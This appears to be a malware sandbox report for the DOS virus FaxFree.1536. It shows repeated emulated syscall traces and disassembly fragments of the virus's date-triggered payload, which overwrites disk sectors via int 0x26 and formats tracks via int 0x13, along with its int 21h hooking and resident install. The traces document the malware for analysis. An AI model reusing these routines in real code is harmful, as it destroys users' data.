Sample viewer

vx.netlux.org/Virus.DOS.FaxFree.1536

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:17:33.020465278Z 42 PC: 12e53 | Get date 0x12e53: cmp dh, 4
0x12e56: jne 0x12e81
0x12e58: mov ah, 0x2c
0x12e5a: int 0x21
0x12e5c: mov ah, 0x19
0x12e5e: int 0x21
0x12e60: mov dh, 0
0x12e62: mov cx, 0x34
0x12e65: mov dh, 0
0x12e67: int 0x26
0x12e69: mov ah, 5
0x12e6b: mov al, 8
0x12e6d: mov dx, 0
0x12e70: mov cx, 0
0x12e73: int 0x13
0x12e75: mov ah, 5
0x12e77: mov al, 8
0x12e79: mov dx, 1
0x12e7c: mov cx, 0
0x12e7f: int 0x13
2018-12-17T22:17:33.023003283Z 74 PC: 12b60 | Reallocate memory
2018-12-17T22:17:33.023988408Z 72 PC: 12b67 | Allocate memory
2018-12-17T22:17:33.025115019Z 42 PC: 13498 | Get date 0x13498: ret
0x13499: pop es
0x1349a: add word ptr cs:[0x40], 1
0x134a0: cli
0x134a1: push ax
0x134a2: xor ax, ax
0x134a4: mov es, ax
0x134a6: mov ax, word ptr cs:[0x37]
0x134aa: mov word ptr es:[0x84], ax
0x134ae: mov ax, word ptr cs:[0x39]
0x134b2: mov word ptr es:[0x86], ax
0x134b6: pop ax
0x134b7: call 0x2319e
0x134ba: cmp byte ptr cs:[0x335], 7
0x134c0: je 0x134b7
0x134c2: int 0x21
0x134c4: call 0x2317b
0x134c7: cli
0x134c8: xor ax, ax
0x134ca: mov es, ax
2018-12-17T22:17:33.027061421Z 72 PC: 13247 | Allocate memory
2018-12-17T22:17:33.028506725Z 75 PC: 13281 | Execute program
2018-12-17T22:17:33.037339913Z 42 PC: 13ce3 | Get date 0x13ce3: cmp dh, 4
0x13ce6: jne 0x13d11
0x13ce8: mov ah, 0x2c
0x13cea: int 0x21
0x13cec: mov ah, 0x19
0x13cee: int 0x21
0x13cf0: mov dh, 0
0x13cf2: mov cx, 0x34
0x13cf5: mov dh, 0
0x13cf7: int 0x26
0x13cf9: mov ah, 5
0x13cfb: mov al, 8
0x13cfd: mov dx, 0
0x13d00: mov cx, 0
0x13d03: int 0x13
0x13d05: mov ah, 5
0x13d07: mov al, 8
0x13d09: mov dx, 1
0x13d0c: mov cx, 0
0x13d0f: int 0x13
2018-12-17T22:17:33.040216774Z 53 PC: 13295 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:17:33.041272192Z 37 PC: 132ac | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-17T22:17:33.042527466Z 77 PC: 132b0 | Get program return code
2018-12-17T22:17:33.04738497Z 49 PC: 132b7 | Terminate and stay resident (Return code = '0' | Memory size = '96')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3064,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:48:08.236130045Z 42 PC: 12e53 | Get date 0x12e53: cmp dh, 4
0x12e56: jne 0x12e81
0x12e58: mov ah, 0x2c
0x12e5a: int 0x21
0x12e5c: mov ah, 0x19
0x12e5e: int 0x21
0x12e60: mov dh, 0
0x12e62: mov cx, 0x34
0x12e65: mov dh, 0
0x12e67: int 0x26
0x12e69: mov ah, 5
0x12e6b: mov al, 8
0x12e6d: mov dx, 0
0x12e70: mov cx, 0
0x12e73: int 0x13
0x12e75: mov ah, 5
0x12e77: mov al, 8
0x12e79: mov dx, 1
0x12e7c: mov cx, 0
0x12e7f: int 0x13
2018-12-25T11:48:08.238942154Z 74 PC: 12b60 | Reallocate memory
2018-12-25T11:48:08.241076022Z 72 PC: 12b67 | Allocate memory
2018-12-25T11:48:08.243788491Z 42 PC: 13498 | Get date 0x13498: ret
0x13499: pop es
0x1349a: add word ptr cs:[0x40], 1
0x134a0: cli
0x134a1: push ax
0x134a2: xor ax, ax
0x134a4: mov es, ax
0x134a6: mov ax, word ptr cs:[0x37]
0x134aa: mov word ptr es:[0x84], ax
0x134ae: mov ax, word ptr cs:[0x39]
0x134b2: mov word ptr es:[0x86], ax
0x134b6: pop ax
0x134b7: call 0x2319e
0x134ba: cmp byte ptr cs:[0x335], 7
0x134c0: je 0x134b7
0x134c2: int 0x21
0x134c4: call 0x2317b
0x134c7: cli
0x134c8: xor ax, ax
0x134ca: mov es, ax
2018-12-25T11:48:08.246695377Z 72 PC: 13247 | Allocate memory
2018-12-25T11:48:08.248866517Z 75 PC: 13281 | Execute program
2018-12-25T11:48:08.265355575Z 42 PC: 13ce3 | Get date 0x13ce3: cmp dh, 4
0x13ce6: jne 0x13d11
0x13ce8: mov ah, 0x2c
0x13cea: int 0x21
0x13cec: mov ah, 0x19
0x13cee: int 0x21
0x13cf0: mov dh, 0
0x13cf2: mov cx, 0x34
0x13cf5: mov dh, 0
0x13cf7: int 0x26
0x13cf9: mov ah, 5
0x13cfb: mov al, 8
0x13cfd: mov dx, 0
0x13d00: mov cx, 0
0x13d03: int 0x13
0x13d05: mov ah, 5
0x13d07: mov al, 8
0x13d09: mov dx, 1
0x13d0c: mov cx, 0
0x13d0f: int 0x13
2018-12-25T11:48:08.269765563Z 53 PC: 13295 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:48:08.272046847Z 37 PC: 132ac | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:48:08.27330104Z 77 PC: 132b0 | Get program return code
2018-12-25T11:48:08.274577777Z 49 PC: 132b7 | Terminate and stay resident (Return code = '0' | Memory size = '96')

{"DateBased":true,"Day":1,"Month":4,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3064,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:48:10.093518348Z 42 PC: 12e53 | Get date 0x12e53: cmp dh, 4
0x12e56: jne 0x12e81
0x12e58: mov ah, 0x2c
0x12e5a: int 0x21
0x12e5c: mov ah, 0x19
0x12e5e: int 0x21
0x12e60: mov dh, 0
0x12e62: mov cx, 0x34
0x12e65: mov dh, 0
0x12e67: int 0x26
0x12e69: mov ah, 5
0x12e6b: mov al, 8
0x12e6d: mov dx, 0
0x12e70: mov cx, 0
0x12e73: int 0x13
0x12e75: mov ah, 5
0x12e77: mov al, 8
0x12e79: mov dx, 1
0x12e7c: mov cx, 0
0x12e7f: int 0x13
2018-12-25T11:48:10.096824128Z 44 PC: 12e5c | Get time 0x12e5c: mov ah, 0x19
0x12e5e: int 0x21
0x12e60: mov dh, 0
0x12e62: mov cx, 0x34
0x12e65: mov dh, 0
0x12e67: int 0x26
0x12e69: mov ah, 5
0x12e6b: mov al, 8
0x12e6d: mov dx, 0
0x12e70: mov cx, 0
0x12e73: int 0x13
0x12e75: mov ah, 5
0x12e77: mov al, 8
0x12e79: mov dx, 1
0x12e7c: mov cx, 0
0x12e7f: int 0x13
0x12e81: jmp 0x12af8
0x12e84: add byte ptr [bx + si], al
0x12e86: add byte ptr [bx + si], al
0x12e88: add byte ptr [bx + si], al
2018-12-25T11:48:10.099052583Z 25 PC: 12e60 | Get default drive
2018-12-25T11:48:10.121275029Z 74 PC: 12b60 | Reallocate memory
2018-12-25T11:48:10.12318555Z 72 PC: 12b67 | Allocate memory
2018-12-25T11:48:10.130276595Z 42 PC: 13498 | Get date 0x13498: ret
0x13499: pop es
0x1349a: add word ptr cs:[0x40], 1
0x134a0: cli
0x134a1: push ax
0x134a2: xor ax, ax
0x134a4: mov es, ax
0x134a6: mov ax, word ptr cs:[0x37]
0x134aa: mov word ptr es:[0x84], ax
0x134ae: mov ax, word ptr cs:[0x39]
0x134b2: mov word ptr es:[0x86], ax
0x134b6: pop ax
0x134b7: call 0x2319e
0x134ba: cmp byte ptr cs:[0x335], 7
0x134c0: je 0x134b7
0x134c2: int 0x21
0x134c4: call 0x2317b
0x134c7: cli
0x134c8: xor ax, ax
0x134ca: mov es, ax
2018-12-25T11:48:10.132993182Z 72 PC: 13247 | Allocate memory
2018-12-25T11:48:10.134760508Z 75 PC: 13281 | Execute program

{"DateBased":true,"Day":1,"Month":4,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3064,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:48:10.093173117Z 42 PC: 12e53 | Get date 0x12e53: cmp dh, 4
0x12e56: jne 0x12e81
0x12e58: mov ah, 0x2c
0x12e5a: int 0x21
0x12e5c: mov ah, 0x19
0x12e5e: int 0x21
0x12e60: mov dh, 0
0x12e62: mov cx, 0x34
0x12e65: mov dh, 0
0x12e67: int 0x26
0x12e69: mov ah, 5
0x12e6b: mov al, 8
0x12e6d: mov dx, 0
0x12e70: mov cx, 0
0x12e73: int 0x13
0x12e75: mov ah, 5
0x12e77: mov al, 8
0x12e79: mov dx, 1
0x12e7c: mov cx, 0
0x12e7f: int 0x13
2018-12-25T11:48:10.095870305Z 44 PC: 12e5c | Get time 0x12e5c: mov ah, 0x19
0x12e5e: int 0x21
0x12e60: mov dh, 0
0x12e62: mov cx, 0x34
0x12e65: mov dh, 0
0x12e67: int 0x26
0x12e69: mov ah, 5
0x12e6b: mov al, 8
0x12e6d: mov dx, 0
0x12e70: mov cx, 0
0x12e73: int 0x13
0x12e75: mov ah, 5
0x12e77: mov al, 8
0x12e79: mov dx, 1
0x12e7c: mov cx, 0
0x12e7f: int 0x13
0x12e81: jmp 0x12af8
0x12e84: add byte ptr [bx + si], al
0x12e86: add byte ptr [bx + si], al
0x12e88: add byte ptr [bx + si], al
2018-12-25T11:48:10.098449135Z 25 PC: 12e60 | Get default drive
2018-12-25T11:48:10.120956642Z 74 PC: 12b60 | Reallocate memory
2018-12-25T11:48:10.122357283Z 72 PC: 12b67 | Allocate memory
2018-12-25T11:48:10.126304598Z 42 PC: 13498 | Get date 0x13498: ret
0x13499: pop es
0x1349a: add word ptr cs:[0x40], 1
0x134a0: cli
0x134a1: push ax
0x134a2: xor ax, ax
0x134a4: mov es, ax
0x134a6: mov ax, word ptr cs:[0x37]
0x134aa: mov word ptr es:[0x84], ax
0x134ae: mov ax, word ptr cs:[0x39]
0x134b2: mov word ptr es:[0x86], ax
0x134b6: pop ax
0x134b7: call 0x2319e
0x134ba: cmp byte ptr cs:[0x335], 7
0x134c0: je 0x134b7
0x134c2: int 0x21
0x134c4: call 0x2317b
0x134c7: cli
0x134c8: xor ax, ax
0x134ca: mov es, ax
2018-12-25T11:48:10.128594092Z 72 PC: 13247 | Allocate memory
2018-12-25T11:48:10.13011513Z 75 PC: 13281 | Execute program

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":3064,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:48:10.34406017Z 42 PC: 12e53 | Get date 0x12e53: cmp dh, 4
0x12e56: jne 0x12e81
0x12e58: mov ah, 0x2c
0x12e5a: int 0x21
0x12e5c: mov ah, 0x19
0x12e5e: int 0x21
0x12e60: mov dh, 0
0x12e62: mov cx, 0x34
0x12e65: mov dh, 0
0x12e67: int 0x26
0x12e69: mov ah, 5
0x12e6b: mov al, 8
0x12e6d: mov dx, 0
0x12e70: mov cx, 0
0x12e73: int 0x13
0x12e75: mov ah, 5
0x12e77: mov al, 8
0x12e79: mov dx, 1
0x12e7c: mov cx, 0
0x12e7f: int 0x13
2018-12-25T11:48:10.347256643Z 74 PC: 12b60 | Reallocate memory
2018-12-25T11:48:10.34867551Z 72 PC: 12b67 | Allocate memory
2018-12-25T11:48:10.35028148Z 42 PC: 13498 | Get date 0x13498: ret
0x13499: pop es
0x1349a: add word ptr cs:[0x40], 1
0x134a0: cli
0x134a1: push ax
0x134a2: xor ax, ax
0x134a4: mov es, ax
0x134a6: mov ax, word ptr cs:[0x37]
0x134aa: mov word ptr es:[0x84], ax
0x134ae: mov ax, word ptr cs:[0x39]
0x134b2: mov word ptr es:[0x86], ax
0x134b6: pop ax
0x134b7: call 0x2319e
0x134ba: cmp byte ptr cs:[0x335], 7
0x134c0: je 0x134b7
0x134c2: int 0x21
0x134c4: call 0x2317b
0x134c7: cli
0x134c8: xor ax, ax
0x134ca: mov es, ax
2018-12-25T11:48:10.352557129Z 72 PC: 13247 | Allocate memory
2018-12-25T11:48:10.355123249Z 75 PC: 13281 | Execute program
2018-12-25T11:48:10.371249685Z 42 PC: 13ce3 | Get date 0x13ce3: cmp dh, 4
0x13ce6: jne 0x13d11
0x13ce8: mov ah, 0x2c
0x13cea: int 0x21
0x13cec: mov ah, 0x19
0x13cee: int 0x21
0x13cf0: mov dh, 0
0x13cf2: mov cx, 0x34
0x13cf5: mov dh, 0
0x13cf7: int 0x26
0x13cf9: mov ah, 5
0x13cfb: mov al, 8
0x13cfd: mov dx, 0
0x13d00: mov cx, 0
0x13d03: int 0x13
0x13d05: mov ah, 5
0x13d07: mov al, 8
0x13d09: mov dx, 1
0x13d0c: mov cx, 0
0x13d0f: int 0x13
2018-12-25T11:48:10.375542903Z 53 PC: 13295 | Get interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:48:10.378477488Z 37 PC: 132ac | Set interrupt vector (Interrupt = '33' AKA 'Random read')
2018-12-25T11:48:10.37965251Z 77 PC: 132b0 | Get program return code
2018-12-25T11:48:10.380693257Z 49 PC: 132b7 | Terminate and stay resident (Return code = '0' | Memory size = '96')